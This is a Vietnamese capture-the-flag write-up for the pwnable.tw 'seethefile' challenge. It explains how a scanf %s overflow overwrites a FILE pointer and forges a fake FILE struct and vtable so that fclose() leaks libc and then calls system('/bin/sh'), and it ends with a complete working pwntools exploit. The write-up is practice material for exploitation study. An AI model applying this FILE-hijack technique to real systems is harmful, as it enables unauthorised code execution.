seethefile
Vuln: Hàm scanf() với format %s gây buffer overflow trên vùng bss dẫn đến ghi đè file pointer.
tl;dr: fclose() gọi đến _IO_SYSCLOSE() ở offset 0x44 của vtable nếu flags có 0x2000, finish() luôn đc gọi ko phụ thuộc flags; Kiểm soát RIP đến printf() để có fmb.
Recon
Mitigation
$ pwn checksec seethefile
[*] '/home/hungnt/ctfs/pwnable.tw/seethefile/seethefile'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)$ file seethefile
seethefile: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=04e6f2f8c85fca448d351ef752ff295581c2650d, not strippedGLIBC Version
pwndbg> libc
libc version: 2.23
libc source link: https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gzCode
main()
void main(void)
{
int choice;
int in_GS_OFFSET;
char buf [32];
undefined4 local_14;
undefined1 *puStack_c;
EVP_PKEY_CTX *ctx;
puStack_c = &stack0x00000004;
local_14 = *(undefined4 *)(in_GS_OFFSET + 0x14);
init(ctx);
welcome();
do
{
menu();
__isoc99_scanf(&_s,buf);
choice = atoi(buf);
switch(choice)
{
default:
puts("Invaild choice");
// WARNING: Subroutine does not return
exit(0);
case 1:
openfile();
break;
case 2:
readfile();
break;
case 3:
writefile();
break;
case 4:
closefile();
break;
case 5:
printf("Leave your name :");
__isoc99_scanf(&_s,name);
printf("Thank you %s ,see you next time\n",name);
if (fp != NULL)
{
fclose(fp);
}
// WARNING: Subroutine does not return
exit(0);
}
} while( true );
}Solve
case 5:
printf("Leave your name :");
__isoc99_scanf(&_s,name);
printf("Thank you %s ,see you next time\n",name);
if (fp != NULL)
{
fclose(fp);
}
// WARNING: Subroutine does not return
exit(0);
}Vì format string khi nhập name là %s, có thể nhập thoải mái, nên overflow và ghi đè lên con trỏ fp. Vậy nên ý tưởng của mình là fake con trỏ fp rồi lợi dụng fclose() để AAR leak libc rồi kiểm soát luôn RIP.
Sau một hồi perplexity, mình biết rằng bên trong fclose() sẽ gọi đến _IO_SYSCLOSE() là hàm close() nằm tại offset 0x44 của vtable nếu như có 0x2000 trong flags. Tiếp đến là finish() tại offset 0x8 luôn được gọi ko phụ thuộc vào flags.
Đầu tiên mình ghi đè close() với printf(), thêm format string vào ngay sau flags -> leak đc libc trên stack, ghi đè finish() nhảy ngược về main() để ko bị exit() sau khi fclose().
Lần sau, ghi đè close() với system(), ghi /bin/sh vào flags. Vậy là xong.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("seethefile_patched", checksec=False)
libc = ELF("libc_32.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *0x08048b0f
b *_IO_file_close_it+271
b *fclose+229
b *0x2a932d1f
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "chall.pwnable.tw"
port = 10200
return remote(host, port)
p = conn()
def open_file(filename):
slan(p, b'choice', 1)
sla(p, b'see', filename)
def read_file():
slan(p, b'choice', 2)
def write_file():
slan(p, b'choice', 3)
def close_file():
slan(p, b'choice', 4)
def leave(name):
slan(p, b'choice', 5)
sla(p, b'name', name)
maps = b'/proc/self/maps'
open_file(maps)
print("leak libc")
name = 0x804b260
fake_vtable = name + 0x100
fake_fp = flat({
0x0: 0xfbad2801, # flags
0x4: b'libc=%3$p',
0x20: name, # fp
0x34: 0, # _chain
0x38: 1, # _fileno
0x48: 0x804b064, # _lock
0x94: fake_vtable, # vtable
0x100: 0,
0x100 + 0x8: exe.symbols['main'],
0x100 + 0x44: exe.plt['printf']
}, filler=b'\0')
sleep(0.25)
leave(fake_fp)
ru(p, b'next time')
ru(p, b'libc=')
libc.address = leak_hex(rn(p, 10), 0x1b0000)
lg("libc base", libc.address)
lg("system", libc.symbols['system'])
print("spawn shell")
fake_fp = flat({
0x0: b'/bin/sh\0',
0x20: name, # fp
0x34: 0, # _chain
0x38: 1, # _fileno
0x48: 0x804b064, # _lock
0x94: fake_vtable, # vtable
0x100: 0,
0x100 + 0x44: libc.symbols['system'],
}, filler=b'\0')
sleep(0.25)
leave(fake_fp)
rr(p, 1)
ia(p)